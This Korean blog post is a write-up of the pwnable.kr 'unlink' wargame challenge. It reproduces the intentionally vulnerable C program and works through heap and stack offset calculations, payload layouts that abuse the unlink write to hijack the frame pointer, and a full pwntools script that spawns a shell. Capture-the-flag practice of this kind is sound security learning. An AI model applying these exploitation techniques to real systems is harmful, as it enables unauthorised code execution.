본문 바로가기

Pwnable.kr

Pwnable.kr [unlink]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
	struct tagOBJ* fd;
	struct tagOBJ* bk;
	char buf[8];
}OBJ;

void shell(){
	system("/bin/sh");
}

void unlink(OBJ* P){
	OBJ* BK;
	OBJ* FD;
	BK=P->bk;
	FD=P->fd;
	FD->bk=BK;
	BK->fd=FD;
}
int main(int argc, char* argv[]){
	malloc(1024);
	OBJ* A = (OBJ*)malloc(sizeof(OBJ));
	OBJ* B = (OBJ*)malloc(sizeof(OBJ));
	OBJ* C = (OBJ*)malloc(sizeof(OBJ));

	// double linked list: A <-> B <-> C
	A->fd = B;
	B->bk = A;
	B->fd = C;
	C->bk = B;

	printf("here is stack address leak: %p\n", &A);
	printf("here is heap address leak: %p\n", A);
	printf("now that you have leaks, get shell!\n");
	// heap overflow!
	gets(A->buf);

	// exploit this unlink!
	unlink(B);
	return 0;
}

이런 문제에서 끙끙댈 때마다 반복 / 연습이 중요하다고 느낀다...

 

친절하게 어디서 overflow가 일어나는지까지 알려주고 있다. 

우선 struct OBJ의 변수로 char 배열이 있고, gets함수로 해당 배열을 채우기 때문에 오버플로우가 일어난다.

거기다가 malloc을 연달아 해주면서, A와 B가 고정된 텀으로 힙 공간을 할당 받으며

이를 통해 B의 내용을 덮을 수 있다.

B의 fd와 bk 링크를 덮으면 unlink 함수에서 FD와 BK 변수의 내용을 바꿀 수 있고, 

다시 바뀐 주소에서 포인터를 따라가면서 4바이트씩 2번 원하는 곳의 메모리를 변조할 수 있다. 

라고 적으면 간단해 보이는데, 계산하는데 상~~당히 애를 많이 먹었다 ㅠㅠ

 

그림 1. OBJ A와 B의 offset 차이

우선 main 함수에서 malloc 실행 이후 A와 B의 주소를 확인해보면 항상 0x18만큼의 차이가 났다. 

 

그림 2. unlink함수의 어셈블리 코드

unlink 함수의 어셈 코드인데, 원래 4줄의 코드가 저렇게 4블럭으로 나누어지고, 따로 특이사항은 없었다.

그림 3. 메인 함수 끝부분 어셈블리 코드

메인 함수 중 버퍼 오버플로우가 일어나고 ret까지의 코드인데, 보면 stack guard가 살짝 적용되어있다.

 

그림 4. unlink 함수 수행 후 스택 상황

대략적인 unlink 함수 이후의 스택 구성은 위 사진처럼 된다. 

0910과 FF10은 오버플로우하면서 B에 덮어쓴 임의의 주소이다. 

처음에 AAAA, BBBB로 했는데 더 헷갈리는 것 같아서 우선 저렇게 적었다. 

 

Heap이다보니, 주소가 더 높은쪽으로 진행된다는 점만 생각하면 될 것 같다. 

 

아까 위에서 A와 B의 주소차이가 0x18만큼 난다고 했는데, 시작 주소의 차이가 그만큼이고,

0x8은 fd와 bk가 차지하므로 buf로부터 b까지는 0x10만큼 차이난다. 

즉, 입력 스트링 s 는 A + 0x08(buf의 주소)부터 시작한다. 

이런 주소 계산은 OS나 설정에 따라서 자동으로 더미를 추가하는 경우가 있으니, 

실제로는 기본적인 계산보다는 어셈을 보고 정확하게 확인하는 것이 좋다고 본다.

 

문제에서 printf로 A의 stack 주소와 heap 주소를 주기 때문에 ASLR은 상관이 없는 상황이고, 

이제 어느 메모리를 어떻게 덮을까 고민을 하면 되는데, 

우선 A의 스택주소로 부터, EBP 까지의 거리는 -0x14이다. 

그림 5. A에 대한 malloc 호출 후 eax값을 저장하는 모습
그림 6. Main함수 EBP 할당 후 스택 할당 부분

Main 함수에서 처음에 ESP가 0x18만큼 감소하고 이후에는 함수 호출마다 0x10만큼 감소했다가 정리했다가를 반복한다.

단, 함수가 호출될 때 call instruction의 경우 next instruction(간단히 ret 주소)를 push하고 call 주소로 jmp하는

두 개의 하위 동작으로 나누어지는 점을 인지해야 한다. 

그리고 함수의 프롤로그에서 push EBP 이후 mov EBP, ESP를 하므로 

그래서 unlink함수가 호출되는 시점에 ESP = EBP - 0x30 (0x28+0x04[push ret]+0x04[push EBP[main]])이고

OBJ A의 주소가 EBP - 0x14였으니까

unlink 함수내에서 MOV EBP, ESP후 A의 주소와 unlink의 EBP 까지는 0x1C만큼 차이난다. (A - 0x1C == EBP[unlink])

A == EBP[main] - 0x14

ESP == EBP[main] - 0x30

A - 0x1C == (EBP[main] - 0x14) - 0x1C == EBP[main] - 0x30 == ESP == EBP[unlink]

그럼 이제 B에 덮어쓸 8바이트 중 4바이트를 주어진 shell()함수의 주소로 하고

EBP+4(ret)를 덮어쓰면 될 것 같았는데, 안 된다.

이유는 두 주소는 서로가 서로의 주소를 덮어쓴다. 

 

BK->fd의 주소를 EBP+4로 맞추고 값을 쉘 주소로 덮으려고 할 경우

FD==shell()이 되고, FD->bk==shell()+4의 주소인데

해당 영역은 code 영역이라 w 권한이 없고 에러가 발생한다.

마찬가지로 FD->bk의 주소를 EBP+4로 맞추고 값을 shell()주소로 덮으려고 해도,

BK의 주소가 shell() 주소가 되버리고, 해당 영역에 w 할수 없어 에러가 발생한다. 

 

왜 heap과 stack의 주소를 알려줬을까 하고 고민하면서 그 뒤에 엄청 삽질 했다. 

 

fake EBP를 생각하고 EBP를 힙 구간으로 바꾸면 어떨까 생각했다. 

(heap영역은 내가 입력한 값들로 채워지니까)

그럼 이제 A - 0x1C == EBP[unlink]의 값을 heap의 주소로 바꾸고,

EBP[main]이 EBP[unlink]의 값으로 바뀌면서 EBP[main]+ 4에 shell()의 주소를 넣으면 된다.

 

페이로드를 작성해보면, 최초 입력 스트링 s는 A[heap] + 0x08로부터 시작하니

A[heap]+0x08 A[heap]+0x0C A[heap]+0x10 A[heap]+0x14 A[heap]+0x18 A[heap]+0x1C
dummy

dummy

( EBP[main] )

&shell() dummy

(A[stack]-0x20)

(EBP[unlink]-0x04)

(A[heap]+0x0C)

( EBP[main]이 됨 )

이렇게  된다. 

 

unlink 루틴을 통해서

BK=P->bk;  BK = A[heap]+0x0C
FD=P->fd;  FD = A[stack]-0x20 (EBP[unlink]-0x04)
FD->bk=BK;  EBP[unlink] = A[heap]+0x0C
BK->fd=FD; A[heap]+0x0C = EBP[unlink]-0x04

이렇게 값이 덮어쓰여진다.

어차피  EBP[unlink]만 덮인 게 의미 있고

A[heap]+0x0C가 덮인 건 무시해도 그만.

 

이렇게 하고 main 함수로 넘어가면 main의 EBP가 바뀐 상태고

원.래.는. EBP[mian]+4가 main의 ret이므로 exploit되어야 하지만 아까 위에서 말했듯이 

약간의 스택 가드가 적용되어 있어서

해당 루틴까지 생각하고 페이로드를 수정하여야 한다.

 

그림 7. main 함수의 에필로그

EBP-0x4의 값을 ecx로 옮기고, 

ecx-0x4의 값이 esp가 된 뒤, ret한다.

 

역으로 추적하면, ret주소는 &shell()이어야 할 때

( ecx-0x4 )의 값이 &shell의 주소여야 하고,

( EBP[main]-0x4 )의 값이 ecx의 주소여야 한다 

 

A[heap]+0x08 A[heap]+0x0C A[heap]+0x10 A[heap]+0x14 A[heap]+0x18 A[heap]+0x1C

&shell()

(③ret 주소가 됨)

(A[heap]+0x0C)

( ②ECX가 됨 )

dummy

dummy

(A[stack]-0x20)

(EBP[unlink]-0x04)

(A[heap]+0x10)

EBP[main] )

대략 요따구의 페이로드가 나온다. 

 

A[heap]+0x08 A[heap]+0x0C A[heap]+0x10 A[heap]+0x14 A[heap]+0x18 A[heap]+0x1C
&shell() (A[heap]+0x0C) dummy dummy

(A[heap]+0x10)

(A[stack]-0x1C)

EBP[unlink]

B->fd와 B->bk의 값의 용도를 바꾸면 위의 페이로드가 나온다. 

이게 더 간단해 보인다...

 

근데 내가 처음에 exploit할 때는, 이렇게도 안 함 ㅋ

지금 어차피 main의 에필로그 과정이 저렇다면,

그냥 (EBP[main]-0x4)를 힙 주소로 덮으면 더 간단하지 않을까?

 

A[heap]+0x08 A[heap]+0x0C A[heap]+0x10 A[heap]+0x14 A[heap]+0x18 A[heap]+0x1C

&shell()

(ret 주소)

dummy

ECX가 됨)

dummy dummy

(A[stack]+0x0C)

(EBP[main]-0x08)

(A[heap]+0x0C)

( EBP[main]-0x4의 값 )

A[heap]+0x08 A[heap]+0x0C A[heap]+0x10 A[heap]+0x14 A[heap]+0x18 A[heap]+0x1C

&shell()

(ret 주소)

dummy

ECX가 됨)

dummy dummy

(A[heap]+0x0C)

( EBP[main]-0x4의 값 )

(A[stack]+0x10)

(EBP[main]-0x04)

 

이것 저것 다 해본 거는 그냥 내가 헷갈려서 연습겸 한거고

 

다음은 exploit할 때 사용했던 python code이다.  

계산해보면 페이로드 표 중 아래에서 두번째 거를 사용한 것이다. 

from pwn import *
from struct import pack

p = lambda x : pack('<L', x)

s = process("/home/unlink/unlink")
tmp = s.recvline()
stack = tmp.split('0x')
stack = stack[1]
print stack

tmp = s.recvline()
heap = tmp.split('0x')
heap = '0'+heap[1]
print heap

payload  = p(0x80484eb)
payload += p(0x41414141)
payload += p(0x41414141)
payload += p(0x41414141)
payload += p(int(heap,16)+12)
payload += p(int(stack,16)+16)
payload += "\n"

s.send(payload)

s.interactive()

출력되는 주소로부터, offset을 계산해야 하므로 약간의 전처리 과정이 필요함

 

공책에 쓰고, 칠판에 쓰고 스택 계산할 때 엄ㅁㅁㅁㅁ청 헷갈렸는데

그나마 글로 하나씩 정리하니까 좀 나은 것 같당

 

----------------------------------

항상 마지막은 다른 사람들 답 보면서 놓친 부분들 체크하는데,

생략한 부분이지만 나도 처음에 쉘 코드를 바로 삽입하려고 했었다.

jmp나 call...

근데 안 되길래 NX 설정이 되어있나보다 하고 방향을 바꾼 건데,

 

pwnable.kr에는 이미 checksec이 깔려 있고

그냥 checksec으로 확인하면 된다더라 ㅎ;

'Pwnable.kr' 카테고리의 다른 글

Pwnable.kr [horcruxes]  (0) 2019.05.17
Pwnable.kr [blukat]  (0) 2019.05.15
Pwnable.kr [asm]  (0) 2019.05.08
Pwnable.kr [memcpy]  (0) 2019.05.08
Pwnable.kr [uaf]  (0) 2019.05.03